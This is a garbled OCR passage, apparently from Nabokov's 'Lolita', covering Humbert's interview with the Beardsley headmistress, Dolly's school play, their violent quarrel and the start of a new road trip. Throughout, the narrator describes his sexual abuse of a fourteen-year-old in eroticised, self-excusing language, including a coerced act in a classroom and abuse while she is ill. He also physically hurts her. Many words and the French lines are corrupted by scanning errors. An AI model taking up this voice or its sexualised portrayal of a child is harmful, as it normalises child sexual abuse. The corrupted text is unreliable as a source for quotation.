me alone.” +And I would get up from the floor while you looked on, your +face deliberately twitching in imitation of my tic nerveux. +But never mind, never mind, I am only a brute, never mind, +let us go on with my miserable story. + + +One Monday forenoon, in December I think, Pratt asked +me to come over for a talk. Dolly's last report had been poor, +I knew. But instead of contenting myself with some such +plausible explanation of this summons, I imagined all sorts +of horrors, and had to fortifiy myself with a pint of my “pin” +before I could face the interview. Slowly, all Adam’s apple and +heart, I went up the steps of the scaffold. + +- A huge woman, gray-haired, frowsy, with a broad flat nose +and small eyes behind black-rimmed glasses — “Sit down,” +she said, pointing to an informal and humiliating hassock, +while she perched with ponderous spryness on the arm of an +oak chair. For a moment or two, she peered at me with smiling +curiosity. She had done it at our first meeting, I recalled, but I +could afford then to scowl back. Her eye left me. She lapsed +into thought — probably assumed. Making up her mind she +rubbed, fold on fold, her dark gray flannel skirt at the knee, +dispelling a trace of chalk or something. Then she said, still +nibbing, not looking up: + +Let me ask you a blunt question, Mr. Haze. You are an + +176 + + +old-fashioned Continental father, aren’t yon?” + +"Why, no,” I said, "conservative, perhaps, but not wnat +you would call old-fashioned. + +She sighed, frowned, then clapped her big plump hands +together in a lefs-get-down-to-business manner, and again +fixed her beady eyes upon me. + +“Dolly Haze,” she said, “is a lovely child, but the onset ot +sexual maturing seems to give her trouble. + +1 bowed sliahtly. What else could I do? + +“She is still' shuttling” said Miss Pratt, showing how with +her liver-spotted hands, "between the anal and genital zones +of development. Basically she is a lovely — ■” + +"I beg your pardon,” I said, "wbat zones?” + +"That’s the old-fashioned European in you!” cried Pratt +delivering a slight tap on my wrist watch and suddenly dis- +closing her dentures. “All I mean is that biologic and psy- +chologic drives — do you smoke? — are not fused in Dolly, +do not fall so to speak into a — into a rounded pattern.” Her +hands held for a moment an invisible melon. + +"She is attractive, bright though careless” (breathing +heavily, without leaving her perch, the woman took time out +to look at the lovely child’s report sheet on the desk at her +right). “Her marks are getting worse and worse. Now I won- +der, Mr. Haze — ” Again the false meditation. + +"Well,” she went on with zest, "as for me, I do smoke, and, +as dear Dr. Pierce used to say: I’m not proud of it but I jeest +love it” She lit up and the smoke she exhaled from her nos- +trils was like a pair of tusks. + +"Let me give you a few details, it won't fake a moment +Now let me see [rummaging among her papers). She is dehant +toward Miss Reacock and impossibly rude to Miss Cormorant +Now here is one of our special research reports: Enjoys sing- +ing with group in class though mind seems to wander. Crosses +her knees and nags left leg to rhythm. Type of by-words: a +two-hundred-forty-two word area of the commonest pubescent +slang fenced in by a number of obviously European polysyl- + +n ^Ebs a good deal in class. Let me see. Yes. Now comes +the last week in November. Sighs a good deal in class. Chews +gum vehemently. jDoes not bite her nails though if she did,, +this would conform better to her general pattern — scientifi- +cally spiking, of course. Menstruation, according to the sub- +jcci well established. Belongs at present to no church or- +ganization. By the nay, Mr. Haze, her mother was—? Oh, I + +177 + + + +see. And you are — ? Nobody’s business is, I suppose, God's +business. Something else we wanted to know. She has no +regular home duties, I understand. Making a princess of your +Dolly, Mr. Haze, eh? Well, what else have we got here? +Handles books gracefully. Voice pleasant Giggles rather often. +A little dreamy. Has private jokes of her own, transposing for +instance the first letters of some of her teachers’ names. Hair +light and dark brown, lustrous — well [laughing] you are aware +of that, I suppose. Nose unobstructed, feet high-arched, eyes — +let me see, I had here somewhere a still more recent report +Aha, here we are. Miss Gold says Dolly’s tennis form is ex- +cellent to superb, even better than Linda Hall's, but concen- +tration and point-accumulation are just “poor to fair.” Miss +Cormorant cannot decide whether Dolly has exceptional +emotional control or none at all. Miss Horn reports she — I +mean, Dolly — cannot verbalize her emotions, while according +to Miss Cole Dolly’s metabolic efficiency is superfine. Miss +Molar thinks Dolly is myopic and should see a good ophthal- +mologist, but Miss Redcock insists that the girl simulates +eyestrain to get way with scholastic incompetence. And to con- +clude, Mr. Haze, our researchers are wondering about some- +thing really crucial. Now I want to ask you something. I want +to know if your poor wife, or yourself, or anyone else in the +family — I understand she has several aunts and a maternal +grandfather in California? — oh, hadf — I’m sorry — well, we +all wonder if anybody in the family has instructed Dolly in +the process of mammalian reproduction. The general im- +pression is that fifteen-year-old Dolly remains morbidly unin- +terested in sexual matters, or to be exact, represses her curiosity +in order to save her ignorance and self-dignity. All right — +fourteen. You see, Mr. Haze, Beardsley School does not be- +lieve in bees and blossoms, and storks and love birds, but it +does believe very strongly in preparing its students for mutually +satisfactory mating and successful child rearing. We feel Dolly +could make excellent progress if only she would put her mind +to her work. Miss Cormorant’s report is significant in that +respect Dolly is inclined to be, mildly speaking, impudent +But all feel that primo, you should have your family doctor +tell her the facts of life and, secundo, that you allow her to +enjoy the company of her schoolmates’ brothers at the Junior +Club or in Dr. Rigger’s organization, or in the lovely homes +of our parents.” + +“She may meet boys at her own lovely home,” I said. + +178 + + + +“I hope she will,” said Pratt buoyantly. "When we ques- +tioned her about her troubles, Dohy refused to discuss the +home situation, but we have spoken to some of her friends +and really— well, for example, we insist you un-veto her non- +participation in the dramatic group. You just must allow her +to take part in The Hunted Enchanters. She was such a per- +fect little nymph in the try-out, and sometime in spring the +author will stay for a few days at Beardsley College and may +attend a rehearsal or two in our new auditorium. I mean it is +all part of the fun of being young and alive and beautiful. You +must understand — ” + +"I always thought of myself," I said, “as a very understand- +ing father.” + +"Oh no doubt, no doubt, but Miss Cormorant thinks, and +I am inclined to agree with her, that DoTly is obsessed by +sexual thoughts for which she finds no outlet, and will tease +and martyrize other girls, or even our younger instructors be- +cause they do have innocent dates with boys.” + +Shrugged my shoulders. A shabby 6migr6. + +"Let us put our two heads together, Mr. Haze. What on +earth is wrong with that child?” r + +"She seems quite normal and happy to me,” I said (dis- +aster coming at last? was I found out? had they got some hyp- +notist? ). + +"What worries me,” said Miss Pratt looking at her watch +and starting to go over the whole subject again, "is that both +teachers and schoolmates find Dolly antagonistic, dissatisfied, +cage ? — and everybody wonders why you are so firmly opposed +to all the natural recreations of a normal child.” + +"Do you mean sex play?” I asked jauntily, in despair, a cor- +nered old rati + + +Well, I certainly welcome this civilized terminology,” said +Pratt with a grin. "But this is not quite the point Under the +auspices of Beardsley School, dramatics, dances and other +natural activities are not technically sex play, though girls +do^mcet boys, if that is what you object to.” + +_ "AB right," I said, my hassock exhaling a weary sigh. "You +v.m. She can take part in that play. Provided male parts are +taken by female parts.” + +"I am always fascinated,” said Pratt, “by the admirable way +torcigners— or at least naturalized Americans — use our rich +language. I’m sure Miss Gold, who conducts the play group, +MU be overjoyed. I notice she is one of the few teacbera that + +179 + + +seem to like — I mean who seem to find Dolly manageable. +This takes care of general topics, I guess; now comes a special +matter. We are in trouble again.” + +Pratt paused truculently, then rubbed her index finger under +her nostrils with such vigor that her nose performed a land +of war dance. + +“I'm a frank person,” she said, “but conventions are con- +ventions, and I find it difficult . . . Let me put it this way . . . +The Walkers, who live in what we call around here the Duke’s +Manor, you know the great gray house on the hill — they send +their two girls to our school, and we have the niece of Presi- +dent Moore with us, a really gracious child, not to speak of a +number of other prominent children. Well, under the cir- +cumstances, it is rather a jolt when Dolly, who looks like a +little lady, uses words which you as a foreigner probably simply +do not know or do not understand. Perhaps it might be better +—Would you like me to have Dolly come up here tight away +to discuss things? No? You see — oh well, let's have it out +Dolly has written a most obscene four-letter word which our +Dr. Cutler tells me is low-Mexican for urinal with her lipstick +on some health pamphlets which Miss Redcock, who is get- +ting married in June, distributed among the girls, and we +thought she should stay after hours— another half hour at +least But if you like—” + +“No,” I said, “I don't want to interfere with rules. I shall +talk to her later; I shall thrash it out.” + +“Do,” said the woman rising from her chair arm. “And per- +haps we can get together again soon, and if things do not +improve we might have Dr. Cutler analyze her.” + +Should I marry Pratt and strangle her? + +“. . . And perhaps your family doctor might like to examine +her physically — just a routine check-up. She is in Mushroom — +the last classroom along the passage.” + +Beardsley School, it may be explained, copied a famous +girls’ school in England by having “traditional” nicknames for +its various classrooms: Mushroom, Room-In 8, B-room, Room- +BA and so on. Mushroom was 'Smelly, with a sepia print of +Reynolds’ “Age of Innocence” above the chalkboard, and +several rows of dumsy-looldng pupil desks. At one of these, +my Lolita was reading the chapter on “Dialogue” in Baker’s +Dramatic Technique, and all was very quiet, and there was +another girl with a very naked, porcelain-white neck and won- +derful platinum hair, who sat in front reading too, absolutely + +180 + + +lost to the world and interminably winding a soft carl aroand +one finger, and I sat beside .Dolly just behind that neck and +that hair, and unbuttoned my overcoat and for sixty-five cents +plus the permission to participate in the school play, had +Dolly put her inky, chalky, red-knuckled hand nnder the desk. +Oh, stupid and reckless of me, no doubt, but after the torture +I had been subjected to, I simply bad to take advantage of +a combination that I knew would never occur again. + + +12 + + +Around Christmas she caught a bad chill and was examined +by a friend of Miss Lester, a Dr. Use Tristramson (hi. Use, you +were a dear, uninquisitive soul, and you touched my dove very +gently). She diagnosed bronchitis, patted Lo on the back (all +its bloom erect because of the fever) and put her to bed for +a week or longer. At first she “ran a temperature” in American +parlance, and I could not resist the exquisite caloricity of un- +expected delights — Venus febriculosa — though it was a very +languid Lolita that moaned and coughed and shivered in my +embrace. And as soon as she was well again, I threw a Party +with Boys. + +Perhaps I had drunk a little too much in preparation for the +ordeal. Perhaps I made a fool of myself. The girls had dec- +orated and plugged in a small fir tree-— German custom, except +that colored bulbs had superseded wax candles. Records were +chosen and fed into my landlord’s phonograph. Chic Dolly +wore a nice gray dress with fitted bodice and flared skirt. Hum- +ming. I retired to my study upstairs — and then every ten or +twenty minutes I would come down like an idiot just for a +few seconds; to pick up ostensibly my pipe from the mantel- +piece or hunt for the newspaper; and with every new visit +these simple actions became harder to perform, and I was +reminded of the dreadfully distant dais when I used to brace +myself to casually enter a room in the Ramsdale bouse where +little Carmen was on. + +The party was not a success. Of the three girls invited, one +aid not come at all, and one of the boys brought his cousin +Rov, jo there was a superfluity of two boys, and the cousins + +181 + + + +knew all the steps, and the other fellows could hardly dance +at all, and most of the evening was spent in messing up the +kitchen, and then endlessly jabbering about what card game +to play, and sometime later, two girls and four boys sat on +the floor of the living room, with all windows open, and played +a word game which Opal could not be made to understand, +while Mona and Roy, a lean handsome lad, drank ginger ale +in the kitchen, sitting on the table and dangling their legs, +and hotly discussing Predestination and the Law of Averages. +After they had all gone my Lo said ugh, closed her eyes, and +dropped into a chair with all four limbs starfished to express +the utmost disgust and exhaustion and swore it was the most +revolting bunch of boys she had ever seen. I bought her a new +tennis racket for that remark. + +January was humid and warm, and February fooled the for- +sythia: none of the townspeople had ever seen such weather. +Other presents came tumbling in. For her birthday I bought +her a bicycle, the doe-like and altogether charming machine +already mentioned — and added to this a History of Modem +American Painting: her bicycle manner, I mean her approach +to it, the hip movement in mounting, the grace and so on, +afforded me supreme pleasure; but my attempt to refine her +pictorial taste was a failure; she wanted to know if the guy +noon-napping on Doris Lee’s hay was the father of the pseudo- +voluptuous hoyden in the foreground, and could not under- +stand why I said Grant Wood or Peter Hurd was good, and +Reginald Marsh or Frederick Waugh awfuL + + + +By the time spring had touched up Thayer Street with yellow +and green and pink, Lolita was irrevocably stage-struck. Pratt, +whom I chanced to notice one Sunday lunching with some +people at Walton Inn, caught my eye from afar and went +through the motion of sympathetically and discreetly clapping +her hands while Lo was not looking. I detest the theatre as +being a primitive and putrid form, historically speaking; a +form that smacks of stone-age rites and communal nonsense +despite those individual injections of genius, such as, say + +182 + + + +Elizabethan poetxy which a closeted reader automatically +pumps out of the stuff. Being much occupied at the time +with my own literary labors, I did not bother to read the com- +plete text of The Enchanted Hunters, the playlet in which +Dolores Haze was assigned the part of a farmer's daughter +who imagines herself to be a woodland witch, or Diana, or +something, and who, having got hold of a book on hypnotism, +plunges a number of lost hunters into various entertaining +trances before falling in her turn under the spell of a vagabond +poet (Mona Dahl). That much I gleaned from bits of +crumpled and poorly typed script that Lo sowed all over the +house. The coincidence of the title vrith the name of an on- +forgettable inn was pleasant in a sad little way: I wearily +thought I had better not bring it to my own enchantress’s +notice, lest a brazen accusation of mawkishness hurt me even +more than her failure to notice it for herself had done. I as- + + +sumed the playlet was just another, practically anonymous, +version of some banal legend. Nothing prevented one, of +course, from supposing that in quest of an attractive name the +founder of the hotel had been immediately and solely in- +fluenced by the chance fantasy of the second-rate moralist he +had hired, and that subsequently the hotel’s name had sug- +gested the play’s title. But in my credulous, simple, benevolent +mind I happened to twist it the other way round, and with- +out giving the whole matter much thought really, supposed +that mural, name and title had all been derived from a com- +mon source, from some local tradition, which I, an alien +unversed in New England lore, would not be supposed to +know. In consequence I was under the impression (all this +quite casually, you understand, quite outside any orbit of +importance), that the accursed playlet belonged to the type +of whimscy for juvenile consumption, arranged and rearranged +many times, such as Hansel and Gretel by Richard Roe. or +The Sleeping Beauty by Dorothy Doe, or The Emperor’s New +Clothes by Maurice Vermont and Marion Rumpelmcver — +all this to be found in any Plays for School Actors or Let’s +Have a Play! In other words. I did not know — and would not +have cared, if I did — that actually The Enchanted Hunters +was a quite recent and technically original composition which +had been produced for the first time only three or four months +ago by a highbrow group in New York To me— inasmuch as +l could judge from my charmer s part — it seemed to be a pretty + +183 + + +dismal kind of fancy work, with echoes from Lenormand and +Maeterlinck and various quiet British dreamers. The red- +capped, uniformly attired hunters, of which one was a hanker, +another a plumber, a third a policeman, a fourth an under- +taker, a fifth an underwriter, a sixth an escaped convict (you +see the possibilities!), went through a complete change of +mind in Dolly’ s Dell, and remembered their real lives only as +dreams or nightmares from which little Diana had aroused +them; but a seventh Hunter (in a green cap, the fool) was a +Young Poet, and he insisted, much to Diana’s annoyance, +that she and the entertainment provided (dancing nymphs, +and elves, and monsters) were his, the Poet’s, invention. I +understand that finally, in utter disgust at this cocksureness, +barefooted Dolores was to lead check-trousered Mona to the +paternal farm behind the Perilous Forest to prove to the brag- +gard she was not a poet’s fancy, but a rustic, down-to-brown- +earth lass — and a last-minute kiss was to enforce the play’s +profound message, namely, that mirage and reality merge in +love. I considered it wiser not to criticize the thing in front +of Lo: she was so healthily engrossed in “problems of ex- +pression,” and so charmingly did she put her narrow Floren- +tine hands together, batting her eyelashes and pleading with +me not to come to rehearsals as some ridiculous parents did +because she wanted to dazzle me with a perfect First Night — +and because I was, anyway, always butting in and saying the +wrong thing, and cramping her style in the presence of other +people. + +There was one very special rehearsal , . . my heart, my +heart . . . there was one day in May marked by a lot of gay +flurry — it all rolled past, beyond my ken, immune to my mem- +ory, and when I saw Lo next, in the late afternoon, balancing +on her bike, pressing the palm of her hand to the damp bark +of a young birch tree on the edge of our lawn, I was so struck +by the radiant tenderness of her smile that for an instant I +believed all our troubles gone. “Can you remember,” she said, +“what was the name of that hotel, you know [nose puckered], +come on, you know — with those white columns and the +marble swan in the lobby? Oh, you know [noisy exhalation of +breath] — the hotel where you raped me. Okay, slap it. I mean, +was it [almost in a whisper] The Enchanted Hunters? Oh, it +was? [musingly] Was it?” — and with a yelp of amorous vernal +laughter she slapped the glossy bole and tore uphill, to the +end of the street, and then rode back, feet at rest on stopped + +184 + + +pedals, posture relaxed, one hand dreaming .in her print- +flowered lap. + + +14 + +Because it supposedly tied up with her interest in dance +and dramatics, I had permitted Lo to take piano lessons with +a Miss Emperor (as we French scholars may conveniently call +her) to whose blue-shuttered little White house a mile or so +beyond Beardsley Lo would spin oS twice a week. One Friday +night toward the end of May (and a week or so after the very +special rehearsal Lo had not had me attend) the telephone +in my study, where I was in the act of mopping up Gustave’s — + +1 mean Gaston’s — king’s side, rang and Miss Emperor asked +if Lo was coming next Tuesday because she had missed last +Tuesday's and today’s lessons. I said she would by all means — +and went on with the game. As the reader may well imagine, +my faculties were now’ impaired, and a move or two later, . +with Gaston to play, I noticed through the film of my general +distress that he could collect my queen; he noticed it too, +but thinking it might be a trap on the part of his tricky op- +ponent, he demurred for quite a minute, and puffed and +wheezed, and shook his Jowls, and even shot furtive glances at +me, and made hesitating half-thrusts with his pudgily bunched +r fingers — dying to take that juicy queen and not daring — + +; and ah of a sudden he swooped down upon it (who knows if +; it did not teach him certain later audacities?), and I spent a +- dreary hour in achieving a draw. He finished his brandy and + +• presently lumbered away, quite satisfied with this result (mon +pauvre ami, jc ne mas a i jamais reru et quoiqu’ff y ait bicn peu + +• de chance que vous voyiez mon line, permettez-moi de vous + +: dire que je vous serre la main bicn cordialement, et que +$ ftrates mes fihettes vous salucnt) . 1 found Dolores Haze at the +■i kitchen table, consuming a wedge of pie, with her eyes fixed +£ ori her script. Then - rose to meet mine with a land of celestial +> vapidity. She remained singularly unruffled when confronted +f. ^"ffh my discovery, and said d"un petit air faussement contrit +: -’he knew she was a very wicked kid, but simply had not + +-s been able to resist the enchantment, and had used up those + +1S> + + +music hours — O Reader, My Reader! — in a nearby public park +1 rehearsing the magic forest scene with Mona. I said “fine"— +and stalked to the telephone. Mona’s mother answered: “Oh +yes, she’s in” and retreated with a mother’s neutral laugh of po- +lite pleasure to shout off stage “Roy caHingl” and the very next +- moment Mona rustled up, and forthwith, in a low monotonous +not untender voice started berating Roy for something he had +said or done and I interrupted her, and presently Mona was +saying in her humblest, sexiest contralto, “yes, sir,” “surely, +sir,” “I am alone to blame, sir, in this unfortunate business,” +(what elocution! what poise!) “honest, I feel very bad about +it” — and so on and so forth as those little harlots say. + +So downstairs I went clearing my throat and holding my +heart. Lo was now in the living room, in her favorite over- +stuffed chair. As she sprawled there, biting at a hangnail and +mocking me with her heartless vaporous eyes, and all the time +rocking a stool upon which she had placed the heel of an +outstretched shoeless foot, I perceived all at once with a sick- +ening qualm how much she had changed since I first met her +two years ago. Or had this happened during those last two +weeks? Tendiesse? Surely that was an exploded myth. She sat +right in the focus of my incandescent anger. The fog of all +lust had been swept away leaving nothing but this dreadful +lucidity. Oh, she had changed! Her complexion was now that +of any vulgar untidy highschool girl who applies -shared cos- +metics with grubby fingers to an unwashed face and does not +mind what soiled texture, what pustulate epidermis comes in +contact with her skin. Its smooth tender bloom had been so +lovely in former days, so bright with tears, when I used to +roll, in play, her tousled head on my knee. A coarse flush had +now replaced that innocent-fluorescence. What was locally +known as a “rabbit cold” had painted with flaming pink the +edges of her contemptuous nostrils. As in terror I lowered my +gaze, it mechanically slid along the underside of her tensely +stretched bare thigh — how polished and muscular her legs had +grown! She kept her wide-set eyes, clouded-glass gray and +slightly bloodshot, fixed upon me, and I saw the stealthy +thought showing through them that perhaps after all Mona +was right, and she, orphan Lo, could expose me without getting +penalized herself. How wrong I was. How mad I was! Every- +thing about her was of the same exasperating impenetrable +order — the strength of her shapely legs, the dirty sole of her +white sock, the thick sweater she wore despite the closeness of + +186 + + +the room, her wenchy smell, and especially the dead end of her +fece with its strange flush and freshly made-up lips. Some of +the red had left stains on her front teeth, and I was struck by a +ghastly recollection— the evoked image not of Monique, but +of another young prostitute in a bell-house, ages ago, who had +been snapped up by somebody else before I had time to decide +whether her mere youth warranted my risking some appalling +disease, and who had jnst such flushed prominent pommettes +and a dead maman, and big front teeth, and a bit of dingy red +ribbon in her country-brown bair. + +"Well, speak,” said Lo. ‘Was the corroboration satisfac- +tory?” + +"Oh, yes,” I said. ‘Terfecti Yes. And I do not doubt you two +made it up. As a matter of fact, I do not doubt you have told +her everything about us.” + +"Oh, yah?” + +I controlled my breath and said: "Dolores, this must stop +right away. I am ready to yank you out of Beardsley and lock +you up you know where, but this must stop. I am ready to take +you away the time it takes to pack a suitcase. This must stop +or else anything may happen.” + +"Anything may happen, huh?” + +I snatched away the stool she was rocking with her heel +and her foot fell with a thud on the floor. + +"Hey," she cried, "take it easy.” + +"First of all you go upstairs,” I cried in my turn, — and +simultaneously grabbed at her and pulled her up. From that +moment, 1 stopped restraining my voice, and we continued +yelling at each other, and she said unprintable things. She said +she loathed me. She made monstrous faces at me, inflating her +checks and producing a diabolical plopping sound. Sbe said I +had attempted to violate her several times when I was her +mother’s roomer. She said she was sure I bad murdered hex +mother. She said she would sleep with the very first fellow +who asked her and I could do nothing about it I said sbe was +to go upstairs and show me all her hiding places. It was a +strident and hateful scene. I held her by her knobby wrist +and she kept turning and twisting it this way and that, sur- +reptitiously trying to find a weak point so as to wrench herself +free at a favorable moment, but I held her quite bard and in +fact hurt her rather badly for which I hope my heart may +rot. and once or twice she jerked her arm so violently that I +reared her wrist might snap, and all the while she stared at me + +1S7 + + +with those unforgettable eyes where cold anger and hot tears +struggled, and our voices were drowning the telephone, and +when I grew aware of its ringing she instantly escaped. + +With people in movies I seem to share the services of the +machina telephonica and its sudden god. This time it was an +irate neighbor. The east window happened to be agape in the +living room, with the blind mercifully down, however; and +behind it the damp black night of a sour New England spring +had been breathlessly listening to us. I had always thought +that type of haddocky spinster with the obscene mind was +. the result of considerable literary inbreeding in modem fiction; +but now I am convinced that prude and prurient Miss East — +or to explode her incognito, Miss Fenton Lebone — had been +probably protrading three-quarter-way from her bedroom win- +dow as she strove to catch the gist of our quarrel. + +“. . . This racket . . . lacks all sense of . . ." quacked +the receiver, “we do not live in a tenement here. I must +emphatically ...” + +I apologized for my daughter’s friends being so loud. Young +people, you know — and cradled the next quack and a half. + +Downstairs the screen door banged. Lo? Escaped? + +Through the casement on the stairs I saw a small impetuous +ghost slip through the shrubs; a silvery dot in the dark — hub +of bicycle wheel — moved, shivered, and she was gone. + +It so happened that the car was spending the night in a +repair shop downtown. I had no other alternative than to +pursue on foot the winged fugitive. Even now, after more than +three years have heaved and elapsed, I cannot visualize that +spring-night street, that already so leafy street, without a gasp +of panic. Before their lighted porch Miss Lester was prom- +enading Miss Fabian’s dropsical dackel, Mr. Hyde almost +knocked it over. Walk three steps and run three. A tepid rain +started to drum on the chestnut leaves. At the next corner, +pressing Lolita against an iron railing, a blurred youth held +and kissed — no, not her, mistake. My talons still tingling, I +flew on. + +Half a mile or so east of number fourteen, Thayer Street +tangles with a private lane and a cross street; the latter leads +to the town proper; in front of the first drugstore, I saw — with +what melody of relief 1 — Lolita’s fair bicycle waiting for her. I +pushed instead of pulling, pulled, pushed, pulled, and entered. +Look out! Some ten paces away Lolita, through the glass of a + +188 + + +V + + +telephone booth (membranous god still with us), cupping the +tube, confidentially bunched over it, slit her eyes at me, turned +away with her treasure, hurriedly hung up, and walked out + +with a flourish. - . ' + +‘Tried to reach yon at home,” she said bnghtly. A peat +decision has been made. Bnt first buy me a drink. Dad.” + +She watched the listless pale fountain girl put in the ice, +pour in the coke, add the cherry syrup— -and my heart was +bursting with lore-ache. That childish wrist My lovely child. +You hare a lovely child, Mr. Humbert. We always admire her +as she passes by. Mr. Pirn watched Pippa suck in the con- . +coction. + +J'ai fou/ours sdmiid Tccvnrre Ormonde da sublime Dabli- +nois. And in the meantime the rain had become a voluptuous +shower. + +“Look," she said as she rode the bike beside me, one foot +scraping the darkly glistening sidewalk, “look. I've decided +something. I want to leave school. I hate that school. I hate +the play, I really do! Never go back. Find another. Leave at +once. Go for a long trip again. But this time we’ll go wherever +I want, won't we?" + +I nodded. My Lolita. + +“I choose? Ccst entendu?” she asked wobbling a little be- +side me. Used French only when she was a very good little girl. + +"Okay. Entendu. Now hop-hop-hop, Lenore, or you’ll get +soaked.” (A storm of sobs was filling my chest) + +Sire bared her teeth and after her adorable scbool-girl fash- +ion, leaned forward, and away she sped, my bird. + +Miss Lester* s finely groomed hand held a porch-door open +for a waddling old dog qui pren ait son temps. + +Lo was waiting for me near die ghostly birchtree. + +“I am drenched,” she declared at the top of her voice. “Are +you glad? To hell with the play! See what I mean?” + +An invisible hag’s daw slammed down an upper-floor win- +dow. + +In our hallway, ablaze with welcoming lights, my Lolita +peeled off her sweater, shook her gemmed hair, stretched +towards me two bare arms, raised one knee: + +“Cany me upstairs, please. I feel sort of Tomanfa'c to-night” + +It may interest physiologists to learn, at this point, that I +nave the ability — a most singular case, I presume — of shedding +torrents oi tears throughout the other tempest + +159 + + + +The brakes were relined, the waterpipes unclogged, the +valves ground, and a number of other repairs and improve- +ments were paid for by not very mechanically-minded but +prudent papa Humbert, so that the late Mrs. Humbert's car +was in respectable shape when ready to undertake a new +journey. . ' + +We had promised Beardsley School, good old Beardsley +School, that we would be back as soon as my Hollywood en- +gagement came to an end (inventive Humbert was to be, I +hinted, chief consultant in the production of a film dealing +with "existentialism," still a hot thing at the time) . Actually +I was toying with the idea of gently trickling across the Mex- +ican border — I was braver now than last year — and there de- +ciding what to do with my little concubine who was now sixty +inches tall and weighed ninety pounds. We had dug out our +tour books and maps. She had traced our route with immense +zest. Was it thanks to those theatricals that she had now out- +grown her juvenile jaded airs and was so adorably keen to +explore rich reality? I experienced the queer lightness of +dreams that pale but warm Sunday morning when we aban- +doned Professor Chem's puzzled house and sped along Main +Street toward the four-lane highway. My Love’s striped, black- +and-white, cotton frock, jaunty blue cap, white socks and +brown moccasins were not quite in keeping with the large +beautifully cut aquamarine on a silver chainlet, which gemmed +her throat: a spring rain gift from me. We passed the New +Hotel, and she laughed. "A penny for your thoughts," I said +and she stretched out her palm at once, but at that moment +I had to apply the brakes rather abruptly at a red light. As we +pulled up, another car came to a gliding stop alongside, and +a very striking looking, athletically lean young woman (where +had I seen her? ) with a high complexion and shoulder-length +brilliant bronze hair, greeted Lo with a ringing “Hil" — and +then, addressing me, effusively, edusively (placed!), stressing +certain words, said. “What a shame it was to tear Dolly away +from the play — you should have heard the author raving about +her after that rehearsal — ” “Green light, you dope,” said Lo +under her breath, and simultaneously, waving in bright adieu a + +190 + + + +bangJed arm, Joan of Arc (in a performance we saw at the local +theatre) violently outdistanced os to swerve into Campus + +Avenue. ' + +"Who was it esadly? Vermont or Rumpelmeyer? + +“No — Edusa Gold— -the gal who coaches ns.” + +"I was not referring to her. Who exactly concocted that + + +"Ohl Yes, of course. Some old woman, Clare Something, I +guess. There was quite a crowd of them there.” + +"So she complimented you?” + +"Complimented my eye — she hissed me on my pure brow” +— and my darling emitted that new yelp of merriment which +— perhaps in connection with her theatrical mannerisms — sire +had lately begun to affect + +"You are a funny creature, Lolita,” I said — or some such +words. "Naturally, I am overjoyed you gave up that absurd +stage business. But what is curious is that you dropped the +whole thing only a week before its natural climax. Oh, Lolita, +you should be careful of those surrenders of yonis. I remember +you gave up Ramsdale for camp, and camp for a joyride, and +I could list other abrupt changes in your disposition. You must +be careful. There are things that should never be given up. You +must persevere. You should try’ to be a little nicer to me, +Lolita. You should also watch your diet. The tour of your +thigh, you know, should not exceed seventeen and a half +inches. More might be fatal (I was kidding, of course). We +arc now setting out on a long happy journey. I remember — ” + + + +I ixmemher as a child in Europe gloating over a map of +No:th America that had “Appalachian Mountains” boldly +running from Alabama up to New Brunswick, so that the +V'UC.e region they spanned — Tennessee, the Virginias, Penn- +rwvania New lork, Vermont, New Hampshire and Maine, +•Tpccrcd to my imagination as a gigantic Switzerland or even +iu>ct, an mountain, glorious diamond peak upon peak, giant +ecu-ters, 1 : montapmd dmigrd in his bear skin glory, and +c.:s trgrij goldsmith!, and Red Indians under the catalpas. + +191 + + + +That it all boiled down to a measly suburban lawn and a +smoking garbage incinerator, was appalling. Farewell, Appa- +lachia! Leaving it, we crossed Ohio, the three states be ginnin g +with "I,” and Nebraska — ah, the first whiff of the West! We +travelled very leisurely, having more than a week to reach +Wace, Continental Divide, where she passionately desired to +see the Ceremonial Dances marking the seasonal opening of +Magic Cave, and at least three weeks to reach Elphinstone, +gem of a western state where she yearned to climb Red Rock +from which a mature screen star had recently jumped to her +death after a drunken row with her gigolo. + +Again we were welcomed to wary motels by means of in- +scriptions that read: + +“We wish you to feel at home while here. AH equipment +was carefully checked upon your arrival. Your license number +is on record here. Use hot water sparingly. We reserve the +right to eject without notice any objectionable person. Do not +throw waste material of any kind in the toilet bowl. Thank +you. Call again. The Management. P.S. We consider our +guests the Finest People of the World.” + +In these frightening places we paid ten for twins, flies +queued outside at the screenless door and successfully scram- +bled in, the ashes of our predecessors still lingered in the ash- +trays, a woman’s hair lay on the pillow, one heard one’s neigh- +bor hanging his coat in his closet, the hangers were ingeniously +fixed to their bars by coils of wire so as to thwart theft, and, in +crowning insult, the pictures above the twin beds were iden- +tical twins. I also noticed that commercial fashion was chang- +ing. There was a tendency for cabins to fuse and gradually +form the caravansary, and, lo (she was not interested but the +reader may be), a second story was added, and a lobby grew +in, and cars were removed to a communal garage, and the +motel reverted to the good old hotel. + +I now warn the reader not to mock me and my mental +daze. It is easy for him and me to decipher now a past destiny; +but a destiny in the making is, believe me, not one of those +honest mystery stories where all you have to do is keep an eye +on the clues. In my youth I once read a French detective tale +where the clues were actually in italics; but that is not Mc- +Fate’s way — even if one does Ieam to recognize certain obscure +indications. + +For instance: I would not swear that there was not at +east otLe occasion, prior to, or at the very beginning of, the + +192 ^ + + + +Midwest lap of oat journey, when she managed to convey +some information to, or otherwise get into contact with, a +person or persons unknown. We had stopped at a gas station, +under the sign of Pegasus, and she had slipped out of her seat +and escaped to the rear of the premises while the raised hood, +under which I had bent to watch the mechanic’ s manipula- +tions, hid her for a moment from my sight Being inclined to +he lenient I only shook my benign head though strictly +speaking such visits were taboo, since I felt instinctively that +toilets — as also telephones — happened to be for reasons un- +fathomable, the points where my destiny was liable to catch. +We all have such fateful objects — it may he a recurrent land- +scape in one case, a number in another — carefully chosen by +the gods to attract events of special significance for us: here +shah John always stumble; there shah Jane’ s heart always break. + +Well — my car had been attended to, and I had moved it +away from the pumps to let a pickup truck be serviced — when +the growing volume of her absence began to weigh upon me in +the windy grayncss. Not for the first time, and not for the +last, had I stared in such dull discomfort of mind at those +stationary trivialities that look almost surprised, like staring +rustics, to find themselves in the stranded traveller’s field of +virion: that green garbage can, those very black, very white- +walled tires for sale, those bright cans of motor oil, that red +icebox with assorted drinks, the four, five, seven discarded +bottles within the incomplcted crossword puzzle of their +wooden cells, that bug patiently walking up the inside of the +window of the office. Radio music was coming from its open +door, and because the rhythm was not synchronized with the +heave and flutter and other gestures of wind-animated vege- +tation, one had the impression of an old scenic film bring its +own life while piano or fiddle followed a line of music quite +outodc the shivering flower, the swaying branch. The sound +of Charlotte's last sob incongruously vibrated through me as, +with her dress fluttering athwart the rhythm, Lolita 